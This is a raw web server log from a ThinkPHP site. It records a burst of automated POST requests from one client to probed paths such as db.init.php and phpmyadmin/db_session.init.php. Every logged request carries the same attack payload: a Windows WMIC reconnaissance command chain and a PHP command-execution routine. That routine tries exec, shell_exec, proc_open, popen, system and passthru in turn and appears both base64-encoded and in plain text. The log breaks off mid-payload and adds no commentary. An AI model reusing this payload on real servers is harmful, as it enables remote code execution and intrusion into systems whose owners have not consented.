--------------------------------------------------------------- [ 2020-08-11T07:34:14+08:00 ] 103.207.166.61 POST 39.98.42.52:9025/db.init.php [运行时间：0.166005s] [吞吐率：6.02req/s] [内存消耗：3,041.34kb] [文件加载：106] [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.000000s ] [ info ] [ CACHE ] INIT File [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.003906s ] [ info ] [ LANG ] D:\wwwroot\food\thinkphp\lang\zh-cn.php [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'db.init.php', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '39.98.42.52:9025', 'user-agent' => 'python-requests/2.23.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '4744', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( 'ac' => 'shell', 'c' => 'echo JhmU^IqU3 & WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime & echo 79Xw^v3s9', 'a' => '34926', 'code' => 'CmZ1bmN0aW9uIGV4ZWN1dGUoJGNtZCwgJGZuKXsKICAgICRvdXRwdXQgPSAiIjsKICAgIHN3aXRjaCAoJGZuKSB7CiAgICAgICAgY2FzZSAnZXhlYyc6CiAgICAgICAgICAgICRvdXRwdXRfbGluZXMgPSBhcnJheSgpOwogICAgICAgICAgICBleGVjKCRjbWQsICRvdXRwdXRfbGluZSk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvdXRwdXRfbGluZSBhcyAkbGluZSkgJG91dHB1dCAuPSAkbGluZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzaGVsbF9leGVjJzoKICAgICAgICAgICAgJG91dHB1dCAuPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcm9jX29wZW4nOgogICAgICAgICAgICAkZGVzY3JpcHRvcnMgPSBhcnJheSgKICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAgICAgICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwgInciKQogICAgICAgICAgICApOwogICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnMsICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncG9wZW4nOgogICAgICAgICAgICAkcGggPSBwb3BlbigkY21kLCAncicpOwogICAgICAgICAgICB3aGlsZSgkbyA9IGZnZXRzKCRwaCkpICRvdXRwdXQgLj0gJG87CiAgICAgICAgICAgIHBjbG9zZSgkcGgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzeXN0ZW0nOgogICAgICAgICAgICAkb3V0cHV0IC49IHN5c3RlbSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGFzc3RocnUnOgogICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQpmdW5jdGlvbiBnZXRfZXhlY3V0YWJsZV9mbigpewogICAgJHNpZ25hbCA9ICJScEpkOGZGdSI7CiAgICAkY21kID0gImVjaG8gIi4kc2lnbmFsOwogICAgZm9yZWFjaCAoYXJyYXkoImV4ZWMiLCAic2hlbGxfZXhlYyIsICJwcm9jX29wZW4iLCAicG9wZW4iLCAic3lzdGVtIikgYXMgJGV4ZWNfZnVuY3Rpb24pIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJGV4ZWNfZnVuY3Rpb24pICYmIHN0cnBvcyhleGVjdXRlKCRjbWQsICRleGVjX2Z1bmN0aW9uKSwgJHNpZ25hbCkgIT09IGZhbHNlKSByZXR1cm4gJGV4ZWNfZnVuY3Rpb247CiAgICB9CiAgICByZXR1cm4gJ3Bhc3N0aHJ1JzsKfQoKZnVuY3Rpb24gcnVuKCRjbWQpewogICAgcmV0dXJuIGV4ZWN1dGUoJGNtZCwgZ2V0X2V4ZWN1dGFibGVfZm4oKSk7Cn0KCmVjaG8gc3RycmV2KCIzVXFJVW1oSiIpOwplY2hvIHJ1bigiV01JQyBDUFUgR2V0IE5hbWUsTnVtYmVyT2ZDb3JlcyxOdW1iZXJPZkxvZ2ljYWxQcm9jZXNzb3JzICYgd21pYyBjb21wdXRlcnN5c3RlbSBnZXQgbW9kZWwsbmFtZSxtYW51ZmFjdHVyZXIsc3lzdGVtdHlwZSAmIHdtaWMgb3MgZ2V0IExhc3RCb290VXBUaW1lIik7CmVjaG8gc3RycmV2KCI5czN2d1g5NyIpOwpkaWUoKTsK', 'eval' => ' function execute($cmd, $fn){ $output = ""; switch ($fn) { case \'exec\': $output_lines = array(); exec($cmd, $output_line); foreach ($output_line as $line) $output .= $line."\\n"; break; case \'shell_exec\': $output .= shell_exec($cmd); break; case \'proc_open\': $descriptors = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptors, $pipes, $cwd); $output .= stream_get_contents($pipes[1]); fclose($pipes[1]); break; case \'popen\': $ph = popen($cmd, \'r\'); while($o = fgets($ph)) $output .= $o; pclose($ph); break; case \'system\': $output .= system($cmd); break; case \'passthru\': passthru($cmd); break; } return $output; } function get_executable_fn(){ $signal = "RpJd8fFu"; $cmd = "echo ".$signal; foreach (array("exec", "shell_exec", "proc_open", "popen", "system") as $exec_function) { if(function_exists($exec_function) && strpos(execute($cmd, $exec_function), $signal) !== false) return $exec_function; } return \'passthru\'; } function run($cmd){ return execute($cmd, get_executable_fn()); } echo strrev("3UqIUmhJ"); echo run("WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime"); echo strrev("9s3vwX97"); die(); ', ) [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2020-08-11T07:34:14+08:00 ] 103.207.166.61 POST 39.98.42.52:9025/phpmyadmin/db.init.php [运行时间：0.048825s] [吞吐率：20.48req/s] [内存消耗：3,041.51kb] [文件加载：106] [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.000000s ] [ info ] [ CACHE ] INIT File [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.002930s ] [ info ] [ LANG ] D:\wwwroot\food\thinkphp\lang\zh-cn.php [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'phpmyadmin', 1 => 'db.init.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '39.98.42.52:9025', 'user-agent' => 'python-requests/2.23.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '4744', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( 'ac' => 'shell', 'c' => 'echo JhmU^IqU3 & WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime & echo 79Xw^v3s9', 'a' => '34926', 'code' => 'CmZ1bmN0aW9uIGV4ZWN1dGUoJGNtZCwgJGZuKXsKICAgICRvdXRwdXQgPSAiIjsKICAgIHN3aXRjaCAoJGZuKSB7CiAgICAgICAgY2FzZSAnZXhlYyc6CiAgICAgICAgICAgICRvdXRwdXRfbGluZXMgPSBhcnJheSgpOwogICAgICAgICAgICBleGVjKCRjbWQsICRvdXRwdXRfbGluZSk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvdXRwdXRfbGluZSBhcyAkbGluZSkgJG91dHB1dCAuPSAkbGluZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzaGVsbF9leGVjJzoKICAgICAgICAgICAgJG91dHB1dCAuPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcm9jX29wZW4nOgogICAgICAgICAgICAkZGVzY3JpcHRvcnMgPSBhcnJheSgKICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAgICAgICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwgInciKQogICAgICAgICAgICApOwogICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnMsICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncG9wZW4nOgogICAgICAgICAgICAkcGggPSBwb3BlbigkY21kLCAncicpOwogICAgICAgICAgICB3aGlsZSgkbyA9IGZnZXRzKCRwaCkpICRvdXRwdXQgLj0gJG87CiAgICAgICAgICAgIHBjbG9zZSgkcGgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzeXN0ZW0nOgogICAgICAgICAgICAkb3V0cHV0IC49IHN5c3RlbSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGFzc3RocnUnOgogICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQpmdW5jdGlvbiBnZXRfZXhlY3V0YWJsZV9mbigpewogICAgJHNpZ25hbCA9ICJScEpkOGZGdSI7CiAgICAkY21kID0gImVjaG8gIi4kc2lnbmFsOwogICAgZm9yZWFjaCAoYXJyYXkoImV4ZWMiLCAic2hlbGxfZXhlYyIsICJwcm9jX29wZW4iLCAicG9wZW4iLCAic3lzdGVtIikgYXMgJGV4ZWNfZnVuY3Rpb24pIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJGV4ZWNfZnVuY3Rpb24pICYmIHN0cnBvcyhleGVjdXRlKCRjbWQsICRleGVjX2Z1bmN0aW9uKSwgJHNpZ25hbCkgIT09IGZhbHNlKSByZXR1cm4gJGV4ZWNfZnVuY3Rpb247CiAgICB9CiAgICByZXR1cm4gJ3Bhc3N0aHJ1JzsKfQoKZnVuY3Rpb24gcnVuKCRjbWQpewogICAgcmV0dXJuIGV4ZWN1dGUoJGNtZCwgZ2V0X2V4ZWN1dGFibGVfZm4oKSk7Cn0KCmVjaG8gc3RycmV2KCIzVXFJVW1oSiIpOwplY2hvIHJ1bigiV01JQyBDUFUgR2V0IE5hbWUsTnVtYmVyT2ZDb3JlcyxOdW1iZXJPZkxvZ2ljYWxQcm9jZXNzb3JzICYgd21pYyBjb21wdXRlcnN5c3RlbSBnZXQgbW9kZWwsbmFtZSxtYW51ZmFjdHVyZXIsc3lzdGVtdHlwZSAmIHdtaWMgb3MgZ2V0IExhc3RCb290VXBUaW1lIik7CmVjaG8gc3RycmV2KCI5czN2d1g5NyIpOwpkaWUoKTsK', 'eval' => ' function execute($cmd, $fn){ $output = ""; switch ($fn) { case \'exec\': $output_lines = array(); exec($cmd, $output_line); foreach ($output_line as $line) $output .= $line."\\n"; break; case \'shell_exec\': $output .= shell_exec($cmd); break; case \'proc_open\': $descriptors = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptors, $pipes, $cwd); $output .= stream_get_contents($pipes[1]); fclose($pipes[1]); break; case \'popen\': $ph = popen($cmd, \'r\'); while($o = fgets($ph)) $output .= $o; pclose($ph); break; case \'system\': $output .= system($cmd); break; case \'passthru\': passthru($cmd); break; } return $output; } function get_executable_fn(){ $signal = "RpJd8fFu"; $cmd = "echo ".$signal; foreach (array("exec", "shell_exec", "proc_open", "popen", "system") as $exec_function) { if(function_exists($exec_function) && strpos(execute($cmd, $exec_function), $signal) !== false) return $exec_function; } return \'passthru\'; } function run($cmd){ return execute($cmd, get_executable_fn()); } echo strrev("3UqIUmhJ"); echo run("WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime"); echo strrev("9s3vwX97"); die(); ', ) [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2020-08-11T07:34:14+08:00 ] 103.207.166.61 POST 39.98.42.52:9025/db_session.init.php [运行时间：0.047849s] [吞吐率：20.90req/s] [内存消耗：3,041.57kb] [文件加载：106] [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.000000s ] [ info ] [ CACHE ] INIT File [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.003906s ] [ info ] [ LANG ] D:\wwwroot\food\thinkphp\lang\zh-cn.php [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'db_session.init.php', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '39.98.42.52:9025', 'user-agent' => 'python-requests/2.23.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '4744', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( 'ac' => 'shell', 'c' => 'echo JhmU^IqU3 & WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime & echo 79Xw^v3s9', 'a' => '34926', 'code' => 'CmZ1bmN0aW9uIGV4ZWN1dGUoJGNtZCwgJGZuKXsKICAgICRvdXRwdXQgPSAiIjsKICAgIHN3aXRjaCAoJGZuKSB7CiAgICAgICAgY2FzZSAnZXhlYyc6CiAgICAgICAgICAgICRvdXRwdXRfbGluZXMgPSBhcnJheSgpOwogICAgICAgICAgICBleGVjKCRjbWQsICRvdXRwdXRfbGluZSk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvdXRwdXRfbGluZSBhcyAkbGluZSkgJG91dHB1dCAuPSAkbGluZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzaGVsbF9leGVjJzoKICAgICAgICAgICAgJG91dHB1dCAuPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcm9jX29wZW4nOgogICAgICAgICAgICAkZGVzY3JpcHRvcnMgPSBhcnJheSgKICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAgICAgICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwgInciKQogICAgICAgICAgICApOwogICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnMsICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncG9wZW4nOgogICAgICAgICAgICAkcGggPSBwb3BlbigkY21kLCAncicpOwogICAgICAgICAgICB3aGlsZSgkbyA9IGZnZXRzKCRwaCkpICRvdXRwdXQgLj0gJG87CiAgICAgICAgICAgIHBjbG9zZSgkcGgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzeXN0ZW0nOgogICAgICAgICAgICAkb3V0cHV0IC49IHN5c3RlbSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGFzc3RocnUnOgogICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQpmdW5jdGlvbiBnZXRfZXhlY3V0YWJsZV9mbigpewogICAgJHNpZ25hbCA9ICJScEpkOGZGdSI7CiAgICAkY21kID0gImVjaG8gIi4kc2lnbmFsOwogICAgZm9yZWFjaCAoYXJyYXkoImV4ZWMiLCAic2hlbGxfZXhlYyIsICJwcm9jX29wZW4iLCAicG9wZW4iLCAic3lzdGVtIikgYXMgJGV4ZWNfZnVuY3Rpb24pIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJGV4ZWNfZnVuY3Rpb24pICYmIHN0cnBvcyhleGVjdXRlKCRjbWQsICRleGVjX2Z1bmN0aW9uKSwgJHNpZ25hbCkgIT09IGZhbHNlKSByZXR1cm4gJGV4ZWNfZnVuY3Rpb247CiAgICB9CiAgICByZXR1cm4gJ3Bhc3N0aHJ1JzsKfQoKZnVuY3Rpb24gcnVuKCRjbWQpewogICAgcmV0dXJuIGV4ZWN1dGUoJGNtZCwgZ2V0X2V4ZWN1dGFibGVfZm4oKSk7Cn0KCmVjaG8gc3RycmV2KCIzVXFJVW1oSiIpOwplY2hvIHJ1bigiV01JQyBDUFUgR2V0IE5hbWUsTnVtYmVyT2ZDb3JlcyxOdW1iZXJPZkxvZ2ljYWxQcm9jZXNzb3JzICYgd21pYyBjb21wdXRlcnN5c3RlbSBnZXQgbW9kZWwsbmFtZSxtYW51ZmFjdHVyZXIsc3lzdGVtdHlwZSAmIHdtaWMgb3MgZ2V0IExhc3RCb290VXBUaW1lIik7CmVjaG8gc3RycmV2KCI5czN2d1g5NyIpOwpkaWUoKTsK', 'eval' => ' function execute($cmd, $fn){ $output = ""; switch ($fn) { case \'exec\': $output_lines = array(); exec($cmd, $output_line); foreach ($output_line as $line) $output .= $line."\\n"; break; case \'shell_exec\': $output .= shell_exec($cmd); break; case \'proc_open\': $descriptors = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptors, $pipes, $cwd); $output .= stream_get_contents($pipes[1]); fclose($pipes[1]); break; case \'popen\': $ph = popen($cmd, \'r\'); while($o = fgets($ph)) $output .= $o; pclose($ph); break; case \'system\': $output .= system($cmd); break; case \'passthru\': passthru($cmd); break; } return $output; } function get_executable_fn(){ $signal = "RpJd8fFu"; $cmd = "echo ".$signal; foreach (array("exec", "shell_exec", "proc_open", "popen", "system") as $exec_function) { if(function_exists($exec_function) && strpos(execute($cmd, $exec_function), $signal) !== false) return $exec_function; } return \'passthru\'; } function run($cmd){ return execute($cmd, get_executable_fn()); } echo strrev("3UqIUmhJ"); echo run("WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime"); echo strrev("9s3vwX97"); die(); ', ) [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2020-08-11T07:34:15+08:00 ] 103.207.166.61 POST 39.98.42.52:9025/phpmyadmin/db_session.init.php [运行时间：0.047848s] [吞吐率：20.90req/s] [内存消耗：3,041.65kb] [文件加载：106] [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.000000s ] [ info ] [ CACHE ] INIT File [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.003906s ] [ info ] [ LANG ] D:\wwwroot\food\thinkphp\lang\zh-cn.php [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'phpmyadmin', 1 => 'db_session.init.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '39.98.42.52:9025', 'user-agent' => 'python-requests/2.23.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '4744', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( 'ac' => 'shell', 'c' => 'echo JhmU^IqU3 & WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime & echo 79Xw^v3s9', 'a' => '34926', 'code' => 'CmZ1bmN0aW9uIGV4ZWN1dGUoJGNtZCwgJGZuKXsKICAgICRvdXRwdXQgPSAiIjsKICAgIHN3aXRjaCAoJGZuKSB7CiAgICAgICAgY2FzZSAnZXhlYyc6CiAgICAgICAgICAgICRvdXRwdXRfbGluZXMgPSBhcnJheSgpOwogICAgICAgICAgICBleGVjKCRjbWQsICRvdXRwdXRfbGluZSk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvdXRwdXRfbGluZSBhcyAkbGluZSkgJG91dHB1dCAuPSAkbGluZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzaGVsbF9leGVjJzoKICAgICAgICAgICAgJG91dHB1dCAuPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcm9jX29wZW4nOgogICAgICAgICAgICAkZGVzY3JpcHRvcnMgPSBhcnJheSgKICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAgICAgICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwgInciKQogICAgICAgICAgICApOwogICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnMsICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncG9wZW4nOgogICAgICAgICAgICAkcGggPSBwb3BlbigkY21kLCAncicpOwogICAgICAgICAgICB3aGlsZSgkbyA9IGZnZXRzKCRwaCkpICRvdXRwdXQgLj0gJG87CiAgICAgICAgICAgIHBjbG9zZSgkcGgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzeXN0ZW0nOgogICAgICAgICAgICAkb3V0cHV0IC49IHN5c3RlbSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGFzc3RocnUnOgogICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQpmdW5jdGlvbiBnZXRfZXhlY3V0YWJsZV9mbigpewogICAgJHNpZ25hbCA9ICJScEpkOGZGdSI7CiAgICAkY21kID0gImVjaG8gIi4kc2lnbmFsOwogICAgZm9yZWFjaCAoYXJyYXkoImV4ZWMiLCAic2hlbGxfZXhlYyIsICJwcm9jX29wZW4iLCAicG9wZW4iLCAic3lzdGVtIikgYXMgJGV4ZWNfZnVuY3Rpb24pIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJGV4ZWNfZnVuY3Rpb24pICYmIHN0cnBvcyhleGVjdXRlKCRjbWQsICRleGVjX2Z1bmN0aW9uKSwgJHNpZ25hbCkgIT09IGZhbHNlKSByZXR1cm4gJGV4ZWNfZnVuY3Rpb247CiAgICB9CiAgICByZXR1cm4gJ3Bhc3N0aHJ1JzsKfQoKZnVuY3Rpb24gcnVuKCRjbWQpewogICAgcmV0dXJuIGV4ZWN1dGUoJGNtZCwgZ2V0X2V4ZWN1dGFibGVfZm4oKSk7Cn0KCmVjaG8gc3RycmV2KCIzVXFJVW1oSiIpOwplY2hvIHJ1bigiV01JQyBDUFUgR2V0IE5hbWUsTnVtYmVyT2ZDb3JlcyxOdW1iZXJPZkxvZ2ljYWxQcm9jZXNzb3JzICYgd21pYyBjb21wdXRlcnN5c3RlbSBnZXQgbW9kZWwsbmFtZSxtYW51ZmFjdHVyZXIsc3lzdGVtdHlwZSAmIHdtaWMgb3MgZ2V0IExhc3RCb290VXBUaW1lIik7CmVjaG8gc3RycmV2KCI5czN2d1g5NyIpOwpkaWUoKTsK', 'eval' => ' function execute($cmd, $fn){ $output = ""; switch ($fn) { case \'exec\': $output_lines = array(); exec($cmd, $output_line); foreach ($output_line as $line) $output .= $line."\\n"; break; case \'shell_exec\': $output .= shell_exec($cmd); break; case \'proc_open\': $descriptors = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptors, $pipes, $cwd); $output .= stream_get_contents($pipes[1]); fclose($pipes[1]); break; case \'popen\': $ph = popen($cmd, \'r\'); while($o = fgets($ph)) $output .= $o; pclose($ph); break; case \'system\': $output .= system($cmd); break; case \'passthru\': passthru($cmd); break; } return $output; } function get_executable_fn(){ $signal = "RpJd8fFu"; $cmd = "echo ".$signal; foreach (array("exec", "shell_exec", "proc_open", "popen", "system") as $exec_function) { if(function_exists($exec_function) && strpos(execute($cmd, $exec_function), $signal) !== false) return $exec_function; } return \'passthru\'; } function run($cmd){ return execute($cmd, get_executable_fn()); } echo strrev("3UqIUmhJ"); echo run("WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime"); echo strrev("9s3vwX97"); die(); ', ) [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2020-08-11T07:34:15+08:00 ] 103.207.166.61 POST 39.98.42.52:9025/db__.init.php [运行时间：0.057613s] [吞吐率：17.36req/s] [内存消耗：3,041.38kb] [文件加载：106] [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.000977s ] [ info ] [ CACHE ] INIT File [ info ] [ BEHAVIOR ] Run Closure @app_init [ RunTime:0.002929s ] [ info ] [ LANG ] D:\wwwroot\food\thinkphp\lang\zh-cn.php [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'db__.init.php', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '39.98.42.52:9025', 'user-agent' => 'python-requests/2.23.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '4744', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( 'ac' => 'shell', 'c' => 'echo JhmU^IqU3 & WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime & echo 79Xw^v3s9', 'a' => '34926', 'code' => 'CmZ1bmN0aW9uIGV4ZWN1dGUoJGNtZCwgJGZuKXsKICAgICRvdXRwdXQgPSAiIjsKICAgIHN3aXRjaCAoJGZuKSB7CiAgICAgICAgY2FzZSAnZXhlYyc6CiAgICAgICAgICAgICRvdXRwdXRfbGluZXMgPSBhcnJheSgpOwogICAgICAgICAgICBleGVjKCRjbWQsICRvdXRwdXRfbGluZSk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvdXRwdXRfbGluZSBhcyAkbGluZSkgJG91dHB1dCAuPSAkbGluZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzaGVsbF9leGVjJzoKICAgICAgICAgICAgJG91dHB1dCAuPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcm9jX29wZW4nOgogICAgICAgICAgICAkZGVzY3JpcHRvcnMgPSBhcnJheSgKICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAgICAgICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwgInciKQogICAgICAgICAgICApOwogICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnMsICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncG9wZW4nOgogICAgICAgICAgICAkcGggPSBwb3BlbigkY21kLCAncicpOwogICAgICAgICAgICB3aGlsZSgkbyA9IGZnZXRzKCRwaCkpICRvdXRwdXQgLj0gJG87CiAgICAgICAgICAgIHBjbG9zZSgkcGgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzeXN0ZW0nOgogICAgICAgICAgICAkb3V0cHV0IC49IHN5c3RlbSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGFzc3RocnUnOgogICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQpmdW5jdGlvbiBnZXRfZXhlY3V0YWJsZV9mbigpewogICAgJHNpZ25hbCA9ICJScEpkOGZGdSI7CiAgICAkY21kID0gImVjaG8gIi4kc2lnbmFsOwogICAgZm9yZWFjaCAoYXJyYXkoImV4ZWMiLCAic2hlbGxfZXhlYyIsICJwcm9jX29wZW4iLCAicG9wZW4iLCAic3lzdGVtIikgYXMgJGV4ZWNfZnVuY3Rpb24pIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJGV4ZWNfZnVuY3Rpb24pICYmIHN0cnBvcyhleGVj